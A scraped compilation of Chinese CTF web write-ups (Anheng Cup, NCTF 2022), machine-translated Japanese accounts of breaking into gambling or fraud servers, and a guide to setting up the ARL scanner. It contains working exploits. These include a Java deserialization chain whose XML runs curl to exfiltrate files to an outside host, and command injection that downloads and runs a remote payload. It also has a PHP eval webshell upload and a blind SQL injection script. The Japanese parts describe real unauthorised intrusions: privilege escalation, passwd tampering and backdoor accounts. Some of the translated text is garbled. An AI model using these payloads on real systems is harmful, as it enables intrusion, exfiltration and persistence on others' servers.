admin cookie is   md5(secret+urldecode("flag%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00X%00%00%00%00%00%00%00dog"));
-->

一眼哈希长度扩展攻击

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271942270.png

直接更改 cookie hash 发现没有用, 后来又将 userid 置空, 出现报错

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271943926.png

结合之前的提示, 利用 js 的大小写特性:

'ı'.toUpperCase() == 'I' // true

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271944110.png

之后跳转到 /infoflllllag (静态环境每 30 分钟重置, 所以截的是之前的图)

var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a
}
const clone = (a) => {
  return merge({}, a);
}
router.get('/', function(req, res, next) { 
  if(req.flag=="flag"){
    //输出flag;
    res.send('flag?????????????');
    }
    res.render('info');
});
router.post('/', express.json(),function(req, res) {
  var str = req.body.id;
  var obj = JSON.parse(str);
  req.cookies.id=clone(obj);
  res.render('info');
});
module.exports = router;

很明显要通过原型链来污染 req 的 flag 属性, payload 如下

id={"__proto__":+{"flag":+"flag"}}

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271947808.png

之后转 get 访问得到 flag

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271948522.png

静态靶机的截图

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271948518.png

ezupload

先上传 phpinfo

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271949581.png

php 8.0.1, disable_functions 过滤了一堆, 不过 file_get_contents() 可用, 通过它读取题目源码

<html>
<body>
<form method="POST" enctype="multipart/form-data">
这前端不美si你!!!
<input type="file" name="upload_file" />
<input type="submit" name="submit" value="submit" />
</form>
</body>
</html>
<?php
function waf($var): bool{
    $blacklist = ["\$_", "eval","copy" ,"assert","usort","include", "require", "$", "^", "~", "-", "%", "*","file","fopen","fwriter","fput","copy","curl","fread","fget","function_exists","dl","putenv","system","exec","shell_exec","passthru","proc_open","proc_close", "proc_get_status","checkdnsrr","getmxrr","getservbyname","getservbyport", "syslog","popen","show_source","highlight_file","`","chmod"];
    foreach($blacklist as $blackword){
        if(stristr($var, $blackword)) return True;
    }
    return False;
}
error_reporting(0);
//设置上传目录
define("UPLOAD_PATH", "./uploads");
$msg = "Upload Success!";
if (isset($_POST['submit'])) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_name = $_FILES['upload_file']['name'];
$ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!preg_match("/php/i", strtolower($ext))){
die("俺不要图片,熊大");
}
$content = file_get_contents($temp_file);
if(waf($content)){
    die("哎呦你干嘛,小黑子...");
}
$new_file_name = md5($file_name).".".$ext;
        $img_path = UPLOAD_PATH . '/' . $new_file_name;
        if (move_uploaded_file($temp_file, $img_path)){
            $is_upload = true;
        } else {
            $msg = 'Upload Failed!';
            die();
        }
        echo $msg."  ".$img_path;

位运算 & | 没有被过滤, 这里以 | 为例, 利用 GlobIterator 查找 flag

import re
preg = '\*'
def convertToURL(s):
    if s < 16:
        return '%0' + str(hex(s).replace('0x', ''))
    else:
        return '%' + str(hex(s).replace('0x', ''))
def generateDicts():
    dicts = {}
    for i in range(256):
        for j in range(256):
            if not re.match(preg, chr(i), re.I) and not re.match(preg, chr(j), re.I):
                k = i | j
                if k in range(32, 127):
                    if not k in dicts.keys():
                        dicts[chr(k)] = [convertToURL(i), convertToURL(j)]
    return dicts
def generatePayload(dicts, payload):
    s1 = ''
    s2 = ''
    for s in payload:
        s1 += dicts[s][0]
        s2 += dicts[s][1]
    return f'("{s1}"|"{s2}")'
dicts = generateDicts()
a = generatePayload(dicts, '/f*')
print(a)

payload

<?php echo new GlobIterator('/f('|'/f"');

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271954406.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271954423.png

然后用 file_get_contents() 读取 flag

<?php echo ('fil'.'e_ge'.'t_cont'.'ents')('/fl1111111111ag');

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271955530.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271955702.png

ezjaba

pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.7.5</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>
    <groupId>com.example</groupId>
    <artifactId>ezjaba</artifactId>
    <version>0.0.1-SNAPSHOT</version>
    <name>ezjaba</name>
    <description>ezjaba</description>
    <properties>
        <java.version>1.8</java.version>
    </properties>
    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>com.rometools</groupId>
            <artifactId>rome</artifactId>
            <version>1.7.0</version>
        </dependency>
        <dependency>
            <groupId>org.postgresql</groupId>
            <artifactId>postgresql</artifactId>
            <version>42.3.1</version>
        </dependency>
        <dependency>
            <groupId>mysql</groupId>
            <artifactId>mysql-connector-java</artifactId>
            <version>8.0.12</version>
        </dependency>
    </dependencies>
    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>
</project>

IndexController

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271957830.png

Database

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271957963.png

JdbcUtils

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271957966.png

SecurityObjectInpitStream

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271958986.png

过滤了 mysql jdbc 反序列化, 网上查了一会发现最近 postgresql 依赖的 cve

https://xz.aliyun.com/t/11812

https://mp.weixin.qq.com/s?__biz=MzUzNDMyNjI3Mg==&mid=2247485275&idx=1&sn=e06b07579ecef87f8cce4536d25789ce

结合 pom.xml 中的 rome, 通过 ToStringBean 来触发任意 getter

在题目中是利用 Database getConnection 这个 getter 来触发 jdbc 漏洞

之后从 marshalsec 的源码中找到 XString, 它的 equals 方法会调用 toString, 最终结合 hashCode 碰撞完成整条反序列化链

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211272004771.png

payload:

package com.example.ezjaba;
import com.example.Reflection;
import com.example.ezjaba.Connection.Database;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.org.apache.xpath.internal.objects.XString;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.*;
public class RomeDemo {
    public static void main(String[] args) throws Exception{
        Database database = new Database();
        database.setDatabase("postgresql");
        database.setHots("127.0.0.1");
        database.setUsername("test");
        database.setPassword("=123456&socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://1.117.70.230:65001/exp.xml");
        ToStringBean toStringBean = new ToStringBean(String.class, "123");
        XString xString = new XString("456");
        Map map1 = new HashMap();
        Map map2 = new HashMap();
        map1.put("yy",toStringBean);
        map1.put("zZ",xString);
        map2.put("yy",xString);
        map2.put("zZ",toStringBean);
        Map map = new HashMap();
        map.put(map1, 1);
        map.put(map2, 2);
        Reflection.setFieldValue(toStringBean, "beanClass", Database.class);
        Reflection.setFieldValue(toStringBean, "obj", database);
        ByteArrayOutputStream arr = new ByteArrayOutputStream();
        try (ObjectOutputStream output = new ObjectOutputStream(arr)){
            output.writeUTF("axb");
            output.writeInt(2022);
            output.writeObject(map);
        }
        System.out.println(Base64.getEncoder().encodeToString(arr.toByteArray()));
    }
}

exp.xml:

<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:p="http://www.springframework.org/schema/p"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
        http://www.springframework.org/schema/beans/spring-beans.xsd">
<!--    普通方式创建类-->
   <bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value>curl http://x.x.x.x:yyyy/ -X POST -d "`ls /;cat /*`"</value>
          </list>
        </constructor-arg>
    </bean>
</beans>

vps 上挂着 exp.xml, 然后用 base64 payload 打一下

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211272107558.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211272108046.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211272114396.png

       
转自原文链接: https://exp10it.cn/2022/11/2022-%E5%AE%89%E6%B4%B5%E6%9D%AF-web-writeup/#babyphp

ビッグブラザーからのほうれん草の日々。これは、あらゆるファイルの0日のアップロードです。 WebShellは任意のファイルをアップロードすることで取得されますが、ポートをスキャンすることでパゴダが開かれていることがわかります。

图片

その後、次の問題が発生しました。

图片

Godzillaのバイパスプラグインを使用して、コマンドを実行します。

图片

ユーザーは、baotaのデフォルトユーザーであるwwwです。次のステップは、定期的な操作、権限を増やし、Baotaにログインすることです。

最初にエスカレーションを実行し、エスカレーション牛をアップロードしてから、使用できるエスカレーションExpを確認します。

图片

图片

图片

実行後、CVE-2021-4034を使用して権利を増やし、最初にEXPファイルをほうれん草サーバーにアップロードします。

图片

シェルをバウンスし、Expフォルダーを入力してコンパイルして実行してルートアクセス許可を取得します。

图片

图片

图片

ルートアクセス許可を取得した後、作業を行い、アカウントを作成し、許可を付与するだけです。リバウンドシェルはVIMを使用できず、PassWDファイルをローカルに保存してから3列に0を与え、その後ログインすることがルートになります。

图片

作成されたアカウントはFTPPで、PassWDファイルとして保存してWebディレクトリにアップロードします。特権エスカレーション後のルートアクセス許可を使用して、最初にPassWDを削除してからコピーします。

图片

图片

このサーバーにはBaotaコントロールパネルがあるため、最初に/www/server/panel/dataが入力されます。このフォルダーには、baota構成データファイルであるdefault.dbファイルがあります。ローカルに保存した後、パゴダのパスワードを変更してログインします。次に、終了後にDBデータファイルを復元して、パスワードが元のパスワードになるようにします。

图片次に、パスワードを変更してログインします。

ログインすることで、サイトの完全な情報、データベースパスワード、Webディレクトリ、および携帯電話番号を確認できますが、携帯電話番号は最初の3つと最後の4つであり、中央4桁は番号*です。携帯電話番号をチェックする以前の方法は役に立たない。実際、ここでそれを呼び出して、その人を逮捕するために警察に引き渡してください。

图片

元のリンクから転載:https://mp.weixin.qq.com/s/iuipoa4bi8mcbj7o2qgjra

拉取项目

首先从GitHub克隆到服务器上。

git clone https://github.com/ki9mu/ARL-plus-docker/

file

修改配置文件

因为ARL在配置文件里设置了黑名单,有时候项目为GOV或者EDU之类的时候无法进行扫描,所以在这里修改一下配置文件就可以解除限制。

cd ARL-plus-docker/
vi config-docker.yaml

在这里删掉黑名单里的几项就可以了

file

修改后:

file

增加和修改riskiq以及fofa API

vqypggl1gjy15042.png

再增强版里添加了Oneforall的模块,所以在配置文件里需要打开,因为clone下来的代码里默认是Flase,这里将需要想打开的开关替换为Ttue即可。

vi oneforall-config/setting.py 

file

修改后:

file

修改为配置文件之后就开始启动docker,先添加一个volume,然后docker-compose up -d就可以直接启动,拉取镜像的时候如果很慢可以换一下docker源。

docker volume create --name=arl_db
docker-compose up -d

file

当看到一排done就说明成功了,这时候还需要进容器修改一下python代码,因为在python脚本里也有黑名单。先使用docker ps看一下容器的ID,然后进入这个容器进行修改,使用vi进行编辑。

docker ps #查看容器ID
docker exec -it 对应ID bash
vi app/config.py 

修改前:

file

file

添加指纹

安装成功之后,添加一下指纹,让你的灯塔有更强大的指纹。

地址:https://vps:5003/![file](http://www.a10ng.top/wp-content/uploads/2022/09/2022090213085544.png)
默认账密:admin\arlpass

git clone https://github.com/loecho-sec/ARL-Finger-ADD
cd ARL-Finger-ADD
python ARL-Finger-ADD.py -O https://vps:5003/  admin arlpassCOPY

file

安装成功

用默认密码登陆,然后在右上角修改掉默认密码就可以愉快的使用了。



HireHackking

NCTF2022 Web Writeup

1.calc

题目地址:http://116.205.139.166:8001/

右键 /source 源码

@app.route("/calc",methods=['GET'])
def calc():
    ip = request.remote_addr
    num = request.values.get("num")
    log = "echo {0}{1}{2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)
    if waf(num):
        try:
            data = eval(num)
            os.system(log)
        except:
            pass
        return str(data)
    else:
        return "waf!!"

flask 报错可以看到 waf 的过滤规则

http://162.14.110.241:8050/calc?num[]=

def waf(s):
    blacklist = ['import','(',')','#','@','^','$',',','>','?','`',' ','_','|',';','"','{','}','&','getattr','os','system','class','subclasses','mro','request','args','eval','if','subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals','__init__','join','__dict__']
    flag = True
    for no in blacklist:
        if no.lower() in s.lower():
            flag= False
            print(no)
            break
    return flag

试了一圈发现可以对 num 操作一下, 用 %0a 分隔不同命令, %09 代替空格

然后注意需要使语句正常执行 eval(num), 不然就不会跳到 os.system(log) 这句, 解决方法是用单引号把命令包起来

/calc?num=%0a'curl'%09'gtwq54.dnslog.cn'%0a

因为过滤了反引号不好外带回显, 索性直接用 curl 下载 payload 配合 msf 上线

/calc?num=%0a'curl'%09'http://x.x.x.x:yyyy/testapp'%09'-o'%09'/tmp/testapp'%0a
/calc?num=%0a'chmod'%09'777'%09'/tmp/testapp'%0a
/calc?num=%0a'/tmp/testapp'%0a

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202212031408772.png

2.ez_php

题目地址:http://81.70.155.160/

ayacms github 地址

https://github.com/loadream/AyaCMS

issues 里能看到很多漏洞, 但是全都要登录后台/前台

后台 admin.php 试了弱口令无果, 前台也无法注册…

于是直接下载源码进行代码审计, 然后看了大半天

源码很多地方开头都有 defined('IN_AYA') or exit('Access Denied');, 即不能直接访问, 必须要通过其它已经定义 IN_AYA 常量的 php 文件来 include 或 require 才行

这样思路就转换为寻找存在文件包含的漏洞点

找了好久在 /aya/admin.inc.php 找到一处

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202212031946153.png

其中的 get_cookie 获取带有 aya_ 前缀的 cookie 值, decrypt 也能找到对应 encrypt 函数的源码

加密过程中的 AYA_KEY 就是默认值 aaa

有了文件包含之后思路就广了许多, 然后结合一下已知漏洞

https://github.com/loadream/AyaCMS/issues/3

payload

<?php
function random($length=4,$chars='abcdefghijklmnopqrstuvwxyz'){
    $hash='';
    $max=strlen($chars)-1;
    for($i=0;$i<$length;$i++){
        $hash.=$chars[mt_rand(0,$max)];
    }
    return $hash;
}
function kecrypt($txt,$key){
    $key=md5($key);
    $len=strlen($txt);
    $ctr=0;
    $str='';
    for($i=0;$i<$len;$i++){
        $ctr=$ctr==32?0:$ctr;
        $str.=$txt[$i]^$key[$ctr++];
    }
    return $str;
}
function encrypt($txt,$key=''){
    $key or $key='aaa';
    $rnd=random(32);
    $len=strlen($txt);
    $ctr=0;
    $str='';
    for($i=0;$i<$len;$i++){
        $ctr=$ctr==32?0:$ctr;
        $str.=$rnd[$ctr].($txt[$i]^$rnd[$ctr++]);
    }
    return str_replace('=','',base64_encode(kecrypt($str,$key)));
}
echo encrypt('../module/admin/fst_upload');

http 包

POST /aya/admin.inc.php HTTP/1.1
Host: 81.70.155.160
Content-Length: 244
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykhsd4wQ8UBmzCnD1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.62
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: aya_admin_lang=QWwPIAJ9EitZZEEoQWtYOFA0DCUAMFttV2ANPBUlRmFNKBRmFTEQG1ZxTDFaaVEyQyMWdA
Connection: close
------WebKitFormBoundarykhsd4wQ8UBmzCnD1
Content-Disposition: form-data; name="upfile"; filename="xzxz123123123.php"
Content-Type: application/octet-stream
<?php eval($_REQUEST[1]);phpinfo();?>
------WebKitFormBoundarykhsd4wQ8UBmzCnD1

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202212031953539.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202212031954835.png

3.ezbypass

hint 提示 waf 是 modsecurity

题目地址:http://162.14.110.241:8099/sql.php   http://121.37.11.207:8099/sql.php

网上找到一篇参考文章

https://blog.h3xstream.com/2021/10/bypassing-modsecurity-waf.html

剩下就是照着它的 payload 用脚本直接梭, 因为题目提示 Can you find my password?, 所以猜 password 列的内容就行

import requests
import time
flag = ''
i = 1
while True:
    min = 32
    max = 127
    while min < max:
        time.sleep(0.08)
        mid = (min + max) // 2
        print(chr(mid))
        payload = 'if(ascii 1.e(substring(1.e(select password from users.info),{},1))>{},1,0)'.format(i, mid)
        url = 'http://162.14.110.241:8099/sql.php?id={}'.format(payload)
        res = requests.get(url)
        if 'letian' in res.text:
            min = mid + 1
        else:
            max = mid
    flag += chr(min)
    i += 1
    print('found', flag)

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202212032123517.png

4.ez_sql

题目地址:http://81.70.155.160:3000/     https://nctf.h4ck.fun/static/upload/files/06b43b853452e30514edf6bd709b3f99.zip

题目描述给了源码

app.js

import { Application, Router, helpers } from "https://deno.land/x/oak/mod.ts";
import Flight from './db.js';
const app = new Application();
const router = new Router();
router.get('/', async(ctx) => {
    ctx.response.body = 'check your flight `/flight?id=`';
});
router.get('/flight', async(ctx) => {
    const id = helpers.getQuery(ctx, { mergeParams: true });
    const info = await Flight.select({departure: 'departure', destination: 'destination'}).where(id).all();
    ctx.response.body = info;
});
app.use(router.routes());
app.use(router.allowedMethods());
app.listen({ port: 3000, hostname: '0.0.0.0' });

 

db.js

import { DataTypes, Database, Model, SQLite3Connector} from "https://deno.land/x/denodb@v1.0.40/mod.ts";
const connector = new SQLite3Connector({
    filepath: '/tmp/flight.db'
});
const db = new Database(connector);
class Flight extends Model {
    static table = 'flight';
    static fields = {
      id: { primaryKey: true, autoIncrement: true },
      departure: DataTypes.STRING,
      destination: DataTypes.STRING,
    };
}
class Flag extends Model {
    static table = 'flag';
    static fields = {
        flag: DataTypes.STRING,
    };
}
db.link([Flight, Flag]);
await db.sync({ drop: true });
await Flight.create({
    departure: 'Paris',
    destination: 'Tokyo',
});
await Flight.create({
    departure: 'Las Vegas',
    destination: 'Washington',
});
await Flight.create({
    departure: 'London',
    destination: 'San Francisco',
});
await Flag.create({
    flag: Deno.env.get('flag'),
});
export default Flight

跟 Hack.lu 2022 foodAPI 几乎一模一样, 参考文章如下

https://blog.huli.tw/2022/10/31/hacklu-ctf-2022-writeup/

https://gist.github.com/parrot409/f7f5807478f50376057fba755865bd98

https://gist.github.com/terjanq/1926a1afb420bd98ac7b97031e377436

唯一的区别是原题 id 用的是 restful api 的形式, 而这道题是 get 传参, 不能直接照抄 exp

不过稍微看一下文章中分析的原理就能知道思路是利用参数 ? 来拼接 sql 语句, 所以仿照原来的 payload 将 ? 作为另一个 get query 传递进去

http://81.70.155.160:3000/flight?id=1&?=a` and 0 union select flag,2 from flag;

  附件下载:https://github.com/X1cT34m/NCTF2022       转载原文: https://exp10it.cn/2022/12/nctf-2022-web-writeup/#calc

 

序文

晴れた午後、私たちはブランクのリーダーシップの下で熱心に話していました。

图片

フロート氏は、彼のブログを訪れた奇妙なIPを発見しました。

图片

悲しいかな、私はネットワークセキュリティ法を真剣に受け止めていません。ただ戦い始めます。

ゲーム開始

ブラウザアクセスは、ログインインターフェイスに直接ジャンプします。

图片

情報収集

パスでXをノックします。 ThinkPHPとバージョン番号を取得します。

图片

图片

同時に、Float NMAP氏はポート801に向かってスキャンし、BaotaのWebサイトビルであることを確認しました。ただし、ここではこれ以上の研究はありません。

图片

图片

rce試行

5.0.21は直接RCEすることができ、ペイロードは空中に飛んでいます。しかし、私はまだ少しの落とし穴に遭遇しました。

图片

モジュール名は通常のインデックスではなく、存在する必要があります。ジャンプに応じてログインします:

/admin/login/index.html

モジュールが管理者であると推測され、実際に成功しました。

图片

disable_functionsは列にあり、RCEは実際には失敗しています。

图片

まだ馬

良いニュースは、ファイルが正常に記述されたことです。

图片

shell.phpにアクセスして、phpinfoインターフェイスをご覧ください。

图片

バックハンドは、それをつなぐアイスサソリと馬について書いた。

图片

私はこの機会を利用して、ローン、マネージャー、営業担当者、営業担当者を見てみました. OK、プレイし続けました。

图片

データベースを接続

ハードコーディングは、ユニバースでは本当に問題であり、データベースパスワードが取得されます。

图片

MySQLパスワードに初めて遭遇したとき、 @があります。直接書き込むと、接続文字列が破壊されます。のように:

mysql://root:password@127.0.0.1:3306/mysql

@ inパスワードは、IP:ポートが事前にIP:ポートに移動するという判断を下します。 %40としてエンコードする必要があります

图片

管理者ログイン

Webディレクトリとコードをめくることには進展がないので、システムにログインしてみてください。

データベースにはアカウントのパスワードがあります。もちろん、パスワードは塩のハッシュです。

图片

图片

良い家族を持っている人は誰でもパスワードを持っている必要があります。ログインコードにパッチを当てるだけで、テーブルを確認しません。

システムにログインします。

图片

このビジネスはとても高度に見えます、私は少し理解できないので、私は逃した場合にバックドアユーザーを離れます

元のリンクから転載:https://mp.weixin.qq.com/s/f4nwoggpxlsa_chgpbj7zw

困難との最初の出会い

BQCステーションを見つけたら、最初にメインサイトにヒットしてみてください。图片最初にディレクトリをスキャンして、背景などを見つけることができるかどうかを確認してみてください。ここでdirsearchを使用しています。图片しかし、残念ながら、貴重なディレクトリはなく、背景をスキャンすることすらできませんが、これは予想されます。結局のところ、ほとんどのほうれん草のWebサイトの保護はうまくいっています。次に、アカウントを登録して見てみてください。图片注入を試みて、暗号化が逆になっていないことがわかります。一時的にしかgiveめません。图片登録後、アップロードインターフェイスが見つかったことがわかりました。图片アップロードに合わせて、IDの形で保存され、アップロードの脆弱性を引き起こすことができなかったことがわかりました。图片このウェブサイトは取得できず、その考え方を変えます。 IP全体に侵入してみてください。まず、このIPのポート全体をスキャンして、より完全な情報を取得してみてください。 2つのWebページが取得されました。 RocketMQ、この最新バージョンの脆弱性は公開され、試されました。图片は、攻撃を試みるツールを見つけましたが、コマンドの実行に失敗しました。图片別のログインインターフェイス图片 Shiro Frameworkが発見されました图片は爆発しようとしましたが、秘密の鍵は見つかりませんでした。图片

柳と花は明るい

です

ブレークスルーポイント:彼はポート8888を持っており、アクセスすると違法なIPにジャンプします。图片げっぷを見た後、彼はログインページにアクセスしてからジャンプすることを発見しました。图片眉をひそめ、物事は単純ではないことを発見しました。彼はIPの少し後に追加したため、エラーを報告しました。彼は、スプリングフレームワークを使用していることを発見しました。图片Actuatorは、アプリケーションシステムの内省と監視のためにSpring Bootが提供する機能的モジュールです。アクチュエーター開発者の助けを借りて、アプリケーションシステムの特定の監視指標を簡単に表示およびカウントできます。アクチュエータ

コアはエンドポイントエンドポイントで、アプリケーションとインタラクションを監視するために使用されます。 Spring-Boot-Actuatorにはすでに多くの組み込みがあります

エンドポイント(健康、情報、豆、メトリック、httptrace、shutdownなど)、および自分のものを拡張することもできます

エンドポイント。各エンドポイントを有効にして無効にできます。エンドポイントにリモートにアクセスするには、JMXまたはHTTPを介して公開する必要があり、ほとんどのアプリケーションはHTTPを選択します。パスがデフォルトで有効になっている関数の説明/auditeventsが現在のアプリケーション /豆の監査イベント情報を表示するかどうかは、アプリケーション /条件にすべてのスプリングビーンの完全なリストを表示することです。データベース移行パス(存在する場合) /健康はアプリケーションの健康情報を表示するため(認証されていない接続を使用してアクセスするとすべての情報の詳細を表示する場合、アプリケーション情報を表示するためにすべての情報の詳細が表示されます) /リキバーゼは、リキバースデータベース移動パスを表示するためです(存在する場合) /Metricsは現在のアプリケーション情報を表示します。 /スケジュールされたタスクは、アプリケーションでスケジュールされたタスクを示しています /セッションでは、ユーザーセッションを取得できません。スプリングセッションサポートセッションから削除されます。 (JolokiaがClassPathにある場合、WebFluxは使用できません) /LogFileはログファイルのコンテンツを返します(Logging.FileまたはLogging.Path属性が設定されている場合)、HTTP範囲ヘッダーの使用をサポートしてログファイルコンテンツの情報の一部を受け取ります。 Prometheusは、Prometheusサーバーがrawっている形式でメトリック情報を表示し、Springで収集されたディレクトリをディレクトリスキャンに直接使用することです。アクチュエータ

アクチュエータ/auditlog

アクチュエータ/監査vents

アクチュエータ/autoconfig

アクチュエータ/豆

アクチュエータ/キャッシュ

アクチュエータ/条件

アクチュエータ/configurationmetadata

アクチュエータ/configProps

アクチュエータ/ダンプ

アクチュエータ/env

アクチュエータ/イベント

アクチュエータ/exportretregisteredServices

アクチュエータ/機能

アクチュエータ/フライウェイ

アクチュエータ/健康

アクチュエータ/heapdump

アクチュエータ/ヘルスチェック

アクチュエータ/heapdump

アクチュエータ/httptrace

Actuator/Hystrix.Stream

アクチュエータ/情報

アクチュエータ/統合グラフ

アクチュエータ/ジョロキア

アクチュエータ/ログファイル

アクチュエータ/ロガー

アクチュエータ/LoggingConfig

アクチュエータ/リキバーゼ

アクチュエータ/メトリック

アクチュエータ/マッピング

アクチュエータ/スケジューリング

アクチュエータ/swagger-ui.html

アクチュエータ/プロメテウス

アクチュエータ/更新

アクチュエータ/登録サービス

アクチュエータ/リリースアトリビュート

アクチュエータ/resolveattributes

アクチュエータ/スケジューリング

アクチュエータ/セッション

アクチュエータ/スプリングウェブフロー

アクチュエータ/シャットダウン

アクチュエータ/SSO

アクチュエータ/ssosions

アクチュエータ/統計

アクチュエータ/ステータス

アクチュエータ/スレッドダンプ

アクチュエータ/トレース

監査

autoconfig

api.html

API/index.html

API/swagger-ui.html

API/V2/API-DOC

API-DOCS

キャッシュ

CloudFoundryApplication

条件

configProps

distv2/index.html

ドキュメント

druid/index.html

druid/login.html

druid/websession.html

dubbo-provider/distv2/index.html

ごみ

エンティティ/すべて

env

env/(name)

ユーレカ

フライウェイ

ゲートウェイ/アクチュエータ

ゲートウェイ/アクチュエータ/監査済み

ゲートウェイ/アクチュエータ/豆

ゲートウェイ/アクチュエータ/条件

ゲートウェイ/アクチュエータ/configProps

ゲートウェイ/アクチュエータ/env

ゲートウェイ/アクチュエータ/健康

ゲートウェイ/アクチュエータ/heapdump

ゲートウェイ/アクチュエータ/httptrace

Gateway/Actuator/Hystrix.Stream

ゲートウェイ/アクチュエータ/情報

ゲートウェイ/アクチュエータ/ジョロキア

ゲートウェイ/アクチュエータ/ログファイル

ゲートウェイ/アクチュエータ/ロガー

ゲートウェイ/アクチュエータ/マッピング

ゲートウェイ/アクチュエータ/メトリック

ゲートウェイ/アクチュエータ/スケジューリング

Gateway/Actuator/Swagger-ui.html

ゲートウェイ/アクチュエータ/スレッドダンプ

ゲートウェイ/アクチュエータ/トレース

健康

heapdump

heapdump.json

httptrace

Hystrix

Hystrix.Stream

情報

IntegrationGraph

ジョロキア

ジョロキア/リスト

リキバーゼ

リスト

logfile

ロガー

リキバーゼ

メトリック

マッピング

モニター

プロメテウス

リフレッシュします

ScheduleDtasks

セッション

シャットダウン

spring-security-oauth-resource/swagger-ui.html

spring-security-rest/api/swagger-ui.html

static/swagger.json

sw/swagger-ui.html

sw歩

swagger/codes

swagger/index.html

swagger/static/index.html

swagger/swagger-ui.html

swagger-dubbo/api-docs

swagger-ui

swagger-ui.html

swagger-ui/html

swagger-ui/index.html

System/Druid/index.html

threaddump

テンプレート/swagger-ui.html

トレース

ユーザー/swagger-ui.html

バージョン

v1.1/swagger-ui.html

v1.2/swagger-ui.html

v1.3/swagger-ui.html

v1.4/swagger-ui.html

v1.5/swagger-ui.html

v1.6/swagger-ui.html

v1.7/swagger-ui.html

/v1.8/swagger-ui.html

/v1.9/swagger-ui.html

/v2.0/swagger-ui.html

v2.1/swagger-ui.html

v2.2/swagger-ui.html

v2.3/swagger-ui.html

V2/swagger.json

Webページ/System/Druid/Index.html

%20/swagger-ui.htmlは、图片のスキャンを開始し、その中にheapdumpが存在することがわかります。ダウンロードします。ヒープダンプは、ヒープダンプファイルとも呼ばれます。これは、特定の時点でのJavaプロセスのメモリスナップショットです。リークされたHeapdumpファイルは、Eclipse MemoryAnalyzerツールを介して分析し、Redisパスワード、MySQLデータベースアカウント、パスワードなど、メモリにロードされたプランステキストパスワード情報をクエリすることができます。ここでは、Master whwlsfbのjdumpspiderを使用しています

https://github.com/whwlsfb/jdumpspider 图片 Shiroのキー图片をメモリホースに入手してください。图片管理者許可を取得图片

元のリンクアドレスから転載:https://mp.weixin.qq.com/s/-zdavuqvmsw9pchydyuaba

某应用存在后台RCE,根据相关信息,我们在对后台审计过程,这里发现一处调用newInstance实例化

ojnq5prt21t14907.jpg

溯源找到InterfaceRegisterCustomOperationCmd #excute

